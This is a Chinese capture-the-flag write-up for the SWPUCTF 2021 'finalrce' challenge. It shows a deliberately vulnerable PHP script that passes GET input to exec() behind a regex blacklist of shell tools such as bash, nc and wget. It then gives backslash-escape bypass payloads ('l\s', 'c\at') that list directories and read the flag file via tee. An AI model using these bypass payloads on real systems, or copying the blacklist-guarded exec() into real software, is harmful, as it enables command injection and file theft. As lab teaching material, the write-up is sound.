[SWPUCTF 2021 新生赛]finalrce

打开环境,得到php脚本

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

看到有一个正则匹配名单,要获取flag,首先肯定是要绕过这些的。

首先要注意的是,php脚本中,使用的输出函数是exec,这是无法将输出内容返回到页面的,所以使用将输出复制一份并输出到终端窗口以及写入到名为文本的文件中的方法

?url=l\s / | tee 1.txt

get传参使用该命令:

l\s /部分绕过正则匹配;

|:将前一个命令的输出作为后一个命令的输入;

tee 1.txt:将输出复制一份并输出到终端窗口以及写入到名为1.txt的文件中。

之后访问1.txt文件得到:

得到文件目录,之后使用类似的命令,将flllllaaaaaaggggggg文件中的内容进行查询

?url=c\at /flllll\aaaaaaggggggg | tee 2.txt

同样,访问2.txt文件得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值